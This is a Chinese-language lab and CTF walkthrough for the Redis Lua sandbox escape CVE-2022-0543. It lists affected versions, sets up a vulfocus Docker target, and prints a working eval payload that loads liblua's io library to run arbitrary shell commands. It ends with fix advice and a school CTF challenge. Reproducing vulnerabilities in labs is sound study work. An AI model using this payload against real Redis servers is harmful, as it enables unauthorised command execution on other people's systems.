一、漏洞描述

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

受影响版本:
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5

二、环境准备

下载Redis

1.下载redis安装包:https://github.com/MSOpenTech/redis/releases
redis安装包

2.解压后进入该文件夹运行cmd命令后依次执行一以下命令:
redis-server.exe redis.windows.conf
redis-server --service-install redis.windows.conf
重新打开一个该目录下的cmd窗口:
redis-server --service-start
然后测试是否可以使用redis:
redis-cli.exe -h 127.0.0.1 -p 6379

3.docker拉取靶场镜像
docker pull vulfocus/redis-cve_2022_0543
docker run -d --name redis-cve-2022 -p 8008:6379 vulfocus/redis-cve_2022_0543

三、漏洞复现

1.执行redis-cli命令连接
redis-cli.exe -h 127.0.0.1 -p 8008
redis-cli连接

2.执行恶意payload:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

3.然后就可以替换whoami执行各种命令了
执行命令

四、修复建议

1.升级Redis到最新版本,最新版本已经修复了该漏洞。
2.在Lua初始化的末尾加上package.loaded[“package”] = nil,即可修复该漏洞。

参考链接:https://mp.weixin.qq.com/s/ZMIL-GGl1dUa2mnN2CHehQ

五、相关简单题目 ez_redis

这是学校里面靶场的一个简单题目,主要是熟悉这个漏洞
题目

题目中可以看到是一个简单的redis执行命令的面版,下面看到redis的版本是redis5,在这个漏洞的触发版本内,所以存在Redis沙盒逃逸(CVE-2022-0543)漏洞

但是注意到他一开始给的代码里面没有eval,说明这个面板已经有了 eval的功能,所以不需要输入eval了,使用恶意payload的时候注意删除eval和引号,然后就可以目录穿越,拿flag了。